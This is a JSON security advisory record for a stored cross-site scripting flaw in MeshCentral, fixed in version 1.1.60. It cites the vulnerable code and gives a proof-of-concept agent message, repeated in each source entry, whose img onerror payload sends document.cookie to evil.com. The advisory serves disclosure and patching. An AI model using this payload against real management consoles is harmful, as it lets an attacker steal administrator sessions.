{"id":"GHSA-c7hr-448w-65px","aliases":[],"status":"published","title":"MeshCentral has unsanitized data fields","description":"### Description\n\nA rogue or compromised MeshAgent can inject arbitrary HTML/JavaScript via the osdesc (OS description) field in its coreinfo message. The server stores this value with zero HTML sanitization (meshagent.js:1903 only checks typeof == 'string'). When an admin views the\ndevice details panel, the value is rendered via addDeviceAttribute() → QH() which sets innerHTML, executing the payload in the admin's browser session. The main management UI CSP includes 'unsafe-inline' (webserver.js:7072), so inline event handlers and script execution are unrestricted.\n\n### Technical Details\n\n```javascript\n// meshagent.js:1903 -- Agent input, only type check\nif (typeof command.osdesc == 'string') { device.osdesc = command.osdesc;\nchange = 1; }\n\n// default3.handlebars:8713 -- Rendered WITHOUT EscapeHtml()\nif (node.osdesc) { x += addDeviceAttribute(\"Operating System\", node.osdesc); }\n// addDeviceAttribute() interpolates into HTML string, QH() sets innerHTML\n\n// INCONSISTENCY: Same field IS escaped elsewhere:\n// Line 13529: addDetailItem(\"Version\", EscapeHtml(node.osdesc), s)\n// Line 5760: EscapeHtml(node.osdesc ? node.osdesc : '')\n```\n\nAdditional unescaped agent fields:\n\n- node.name unescaped in sharing dialog (line 4695), user group list (line 18625),\npermission dialogs (lines 18675, 19413) -- HIGH\n- cpuinfo.thermals[].InstanceName attribute injection (line 13502) -- MEDIUM\n- volumes[].name unescaped in file browser (line 12612) -- MEDIUM\n\nNo server-side defense: CloneSafeNode() strips secrets but not XSS. validateObjectForMongo() only enforces length limits (1024 chars). No HTML sanitation exists anywhere in the agent→DB→UI pipeline.\n\n### Proof of Concept\n\nRogue agent sends via WebSocket:\n\n```json\n{\n  \"action\": \"coreinfo\",\n  \"osdesc\": \"\u003cimg src=x onerror='fetch(\\\"https://evil.com/steal?\\\"+document.cookie)'\u003e\",\n  \"name\": \"Legit-PC\"\n}\n```\n\nPayload fires when any admin views the device details panel. No click required.\n\n\u003cimg width=\"939\" height=\"587\" alt=\"image\" src=\"https://github.com/user-attachments/assets/1ba372bb-73be-477b-95ca-fa5fc247f8f1\" /\u003e","severity":{"version":"3.1","score":8.3,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H","level":"high","from":"ghsa"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-20","CWE-74"],"published":"2026-08-18T20:09:35Z","modified":"2026-08-18T20:15:10Z","fixes":[{"ecosystem":"npm","package":"meshcentral","fixed_in":["1.1.60"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"meshcentral","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.1.60"}]}]},{"source":"osv","ecosystem":"npm","package":"meshcentral","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.1.60"}]}]}],"references":[{"url":"https://github.com/Ylianst/MeshCentral/security/advisories/GHSA-c7hr-448w-65px","tags":["web"]},{"url":"https://github.com/Ylianst/MeshCentral/releases/tag/1.1.60","tags":["web"]},{"url":"https://github.com/advisories/GHSA-c7hr-448w-65px"},{"url":"https://github.com/Ylianst/MeshCentral","tags":["package"]}],"sources":{"ghsa":[{"id":"GHSA-c7hr-448w-65px","title":"MeshCentral has unsanitized data fields","description":"### Description\n\nA rogue or compromised MeshAgent can inject arbitrary HTML/JavaScript via the osdesc (OS description) field in its coreinfo message. The server stores this value with zero HTML sanitization (meshagent.js:1903 only checks typeof == 'string'). When an admin views the\ndevice details panel, the value is rendered via addDeviceAttribute() → QH() which sets innerHTML, executing the payload in the admin's browser session. The main management UI CSP includes 'unsafe-inline' (webserver.js:7072), so inline event handlers and script execution are unrestricted.\n\n### Technical Details\n\n```javascript\n// meshagent.js:1903 -- Agent input, only type check\nif (typeof command.osdesc == 'string') { device.osdesc = command.osdesc;\nchange = 1; }\n\n// default3.handlebars:8713 -- Rendered WITHOUT EscapeHtml()\nif (node.osdesc) { x += addDeviceAttribute(\"Operating System\", node.osdesc); }\n// addDeviceAttribute() interpolates into HTML string, QH() sets innerHTML\n\n// INCONSISTENCY: Same field IS escaped elsewhere:\n// Line 13529: addDetailItem(\"Version\", EscapeHtml(node.osdesc), s)\n// Line 5760: EscapeHtml(node.osdesc ? node.osdesc : '')\n```\n\nAdditional unescaped agent fields:\n\n- node.name unescaped in sharing dialog (line 4695), user group list (line 18625),\npermission dialogs (lines 18675, 19413) -- HIGH\n- cpuinfo.thermals[].InstanceName attribute injection (line 13502) -- MEDIUM\n- volumes[].name unescaped in file browser (line 12612) -- MEDIUM\n\nNo server-side defense: CloneSafeNode() strips secrets but not XSS. validateObjectForMongo() only enforces length limits (1024 chars). No HTML sanitation exists anywhere in the agent→DB→UI pipeline.\n\n### Proof of Concept\n\nRogue agent sends via WebSocket:\n\n```json\n{\n  \"action\": \"coreinfo\",\n  \"osdesc\": \"\u003cimg src=x onerror='fetch(\\\"https://evil.com/steal?\\\"+document.cookie)'\u003e\",\n  \"name\": \"Legit-PC\"\n}\n```\n\nPayload fires when any admin views the device details panel. No click required.\n\n\u003cimg width=\"939\" height=\"587\" alt=\"image\" src=\"https://github.com/user-attachments/assets/1ba372bb-73be-477b-95ca-fa5fc247f8f1\" /\u003e","status":"published","published":"2026-08-18T20:09:35Z","modified":"2026-08-18T20:09:36Z","cvss":[{"version":"3.1","score":8.3,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-20","CWE-74"],"updated_at":"2026-11-02T14:41:03.602876Z"}],"osv":[{"id":"GHSA-c7hr-448w-65px","title":"MeshCentral has unsanitized data fields","description":"### Description\n\nA rogue or compromised MeshAgent can inject arbitrary HTML/JavaScript via the osdesc (OS description) field in its coreinfo message. The server stores this value with zero HTML sanitization (meshagent.js:1903 only checks typeof == 'string'). When an admin views the\ndevice details panel, the value is rendered via addDeviceAttribute() → QH() which sets innerHTML, executing the payload in the admin's browser session. The main management UI CSP includes 'unsafe-inline' (webserver.js:7072), so inline event handlers and script execution are unrestricted.\n\n### Technical Details\n\n```javascript\n// meshagent.js:1903 -- Agent input, only type check\nif (typeof command.osdesc == 'string') { device.osdesc = command.osdesc;\nchange = 1; }\n\n// default3.handlebars:8713 -- Rendered WITHOUT EscapeHtml()\nif (node.osdesc) { x += addDeviceAttribute(\"Operating System\", node.osdesc); }\n// addDeviceAttribute() interpolates into HTML string, QH() sets innerHTML\n\n// INCONSISTENCY: Same field IS escaped elsewhere:\n// Line 13529: addDetailItem(\"Version\", EscapeHtml(node.osdesc), s)\n// Line 5760: EscapeHtml(node.osdesc ? node.osdesc : '')\n```\n\nAdditional unescaped agent fields:\n\n- node.name unescaped in sharing dialog (line 4695), user group list (line 18625),\npermission dialogs (lines 18675, 19413) -- HIGH\n- cpuinfo.thermals[].InstanceName attribute injection (line 13502) -- MEDIUM\n- volumes[].name unescaped in file browser (line 12612) -- MEDIUM\n\nNo server-side defense: CloneSafeNode() strips secrets but not XSS. validateObjectForMongo() only enforces length limits (1024 chars). No HTML sanitation exists anywhere in the agent→DB→UI pipeline.\n\n### Proof of Concept\n\nRogue agent sends via WebSocket:\n\n```json\n{\n  \"action\": \"coreinfo\",\n  \"osdesc\": \"\u003cimg src=x onerror='fetch(\\\"https://evil.com/steal?\\\"+document.cookie)'\u003e\",\n  \"name\": \"Legit-PC\"\n}\n```\n\nPayload fires when any admin views the device details panel. No click required.\n\n\u003cimg width=\"939\" height=\"587\" alt=\"image\" src=\"https://github.com/user-attachments/assets/1ba372bb-73be-477b-95ca-fa5fc247f8f1\" /\u003e","status":"published","published":"2026-08-18T20:09:35Z","modified":"2026-08-18T20:15:10.163028355Z","cvss":[{"version":"3.1","score":8.3,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-20","CWE-74"],"updated_at":"2026-11-02T15:46:44.571161Z"}]}}
